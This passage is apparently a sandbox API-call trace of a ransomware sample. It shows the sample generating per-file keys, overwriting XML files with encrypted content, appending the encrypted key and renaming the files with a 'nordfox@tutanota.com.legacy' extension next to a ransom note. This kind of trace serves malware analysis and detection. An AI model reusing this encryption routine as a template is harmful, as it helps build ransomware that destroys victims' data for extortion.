0x0 [0105.837] SetLastError (dwErrCode=0x0) [0105.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0105.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0105.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0105.838] FindNextFileW (in: hFindFile=0x5a0ae8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0105.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0105.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0105.838] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.838] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x80) returned 1 [0105.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0105.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0105.839] CreateFileW (lpFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0105.839] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=39042) returned 1 [0105.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9882) returned 0x5c0f88 [0105.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9882) returned 0x5ca818 [0105.840] ReadFile (in: hFile=0x4e8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x9882, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x9882, lpOverlapped=0x0) returned 1 [0105.852] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-39042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.852] WriteFile (in: hFile=0x4e8, lpBuffer=0x5ca818*, nNumberOfBytesToWrite=0x9882, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ca818*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9882, lpOverlapped=0x0) returned 1 [0105.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ca818 | out: hHeap=0x520000) returned 1 [0105.853] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9882 [0105.853] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.853] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.855] WriteFile (in: hFile=0x4e8, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.855] WriteFile (in: hFile=0x4e8, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.855] CloseHandle (hObject=0x4e8) returned 1 [0105.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0105.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.855] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0105.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0105.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0105.860] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.860] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0105.860] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.860] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x80) returned 1 [0105.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0105.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.861] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0105.861] CreateFileW (lpFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0105.861] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=201796) returned 1 [0105.861] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x31444) returned 0x2f20048 [0105.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x31444) returned 0x2f51498 [0105.863] ReadFile (in: hFile=0x4e8, lpBuffer=0x2f20048, nNumberOfBytesToRead=0x31444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x31444, lpOverlapped=0x0) returned 1 [0105.889] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-201796, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.889] WriteFile (in: hFile=0x4e8, lpBuffer=0x2f51498*, nNumberOfBytesToWrite=0x31444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f51498*, lpNumberOfBytesWritten=0x2e1f9bc*=0x31444, lpOverlapped=0x0) returned 1 [0105.890] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f51498 | out: hHeap=0x520000) returned 1 [0105.896] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x31444 [0105.896] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.896] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.897] WriteFile (in: hFile=0x4e8, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.897] WriteFile (in: hFile=0x4e8, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.898] CloseHandle (hObject=0x4e8) returned 1 [0105.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0105.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.898] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0105.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0105.900] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0105.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0105.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0105.900] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0105.900] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0b68 [0105.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0105.901] GetLastError () returned 0x0 [0105.901] SetLastError (dwErrCode=0x0) [0105.901] GetLastError () returned 0x0 [0105.901] SetLastError (dwErrCode=0x0) [0105.901] GetLastError () returned 0x0 [0105.901] SetLastError (dwErrCode=0x0) [0105.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d98 [0105.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0105.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0105.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0105.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0b28 [0105.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0b28 | out: hHeap=0x520000) returned 1 [0105.901] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0105.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0105.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0105.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0105.902] FindNextFileW (in: hFindFile=0x5a0b68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0105.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0105.902] GetLastError () returned 0x0 [0105.902] SetLastError (dwErrCode=0x0) [0105.902] GetLastError () returned 0x0 [0105.902] SetLastError (dwErrCode=0x0) [0105.902] GetLastError () returned 0x0 [0105.902] SetLastError (dwErrCode=0x0) [0105.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0105.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0105.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0105.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0b28 [0105.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0b28 | out: hHeap=0x520000) returned 1 [0105.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0105.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0105.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0105.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0105.903] FindNextFileW (in: hFindFile=0x5a0b68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0105.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0105.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0105.903] GetLastError () returned 0x0 [0105.903] SetLastError (dwErrCode=0x0) [0105.903] GetLastError () returned 0x0 [0105.903] SetLastError (dwErrCode=0x0) [0105.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0105.904] GetLastError () returned 0x0 [0105.904] SetLastError (dwErrCode=0x0) [0105.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0105.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0105.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0105.904] FindNextFileW (in: hFindFile=0x5a0b68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8da3e10, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8da3e10, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0105.904] GetLastError () returned 0x0 [0105.904] SetLastError (dwErrCode=0x0) [0105.904] GetLastError () returned 0x0 [0105.904] SetLastError (dwErrCode=0x0) [0105.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0105.905] GetLastError () returned 0x0 [0105.905] SetLastError (dwErrCode=0x0) [0105.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0105.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0105.905] FindNextFileW (in: hFindFile=0x5a0b68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0105.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0105.905] GetLastError () returned 0x0 [0105.905] SetLastError (dwErrCode=0x0) [0105.905] GetLastError () returned 0x0 [0105.905] SetLastError (dwErrCode=0x0) [0105.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0105.906] GetLastError () returned 0x0 [0105.906] SetLastError (dwErrCode=0x0) [0105.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0105.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0105.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0105.906] FindNextFileW (in: hFindFile=0x5a0b68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0105.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584358 [0105.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0105.906] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584358 | out: pbBuffer=0x584358) returned 1 [0105.907] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0105.907] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x80) returned 1 [0105.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0105.907] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0105.907] CreateFileW (lpFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0105.908] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=39050) returned 1 [0105.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x988a) returned 0x5c0f88 [0105.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x988a) returned 0x5ca820 [0105.908] ReadFile (in: hFile=0x4ec, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x988a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x988a, lpOverlapped=0x0) returned 1 [0105.922] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-39050, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.922] WriteFile (in: hFile=0x4ec, lpBuffer=0x5ca820*, nNumberOfBytesToWrite=0x988a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ca820*, lpNumberOfBytesWritten=0x2e1f9bc*=0x988a, lpOverlapped=0x0) returned 1 [0105.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ca820 | out: hHeap=0x520000) returned 1 [0105.923] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x988a [0105.923] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.923] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.924] WriteFile (in: hFile=0x4ec, lpBuffer=0x584358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.924] WriteFile (in: hFile=0x4ec, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.925] CloseHandle (hObject=0x4ec) returned 1 [0105.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584358 | out: hHeap=0x520000) returned 1 [0105.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0105.925] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0105.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0105.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0105.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0105.931] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0105.931] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0105.931] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x80) returned 1 [0105.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0105.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e490 [0105.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0105.931] CreateFileW (lpFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0105.931] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93314) returned 1 [0105.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16c82) returned 0x2f20048 [0105.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16c82) returned 0x2f36cd8 [0105.933] ReadFile (in: hFile=0x4ec, lpBuffer=0x2f20048, 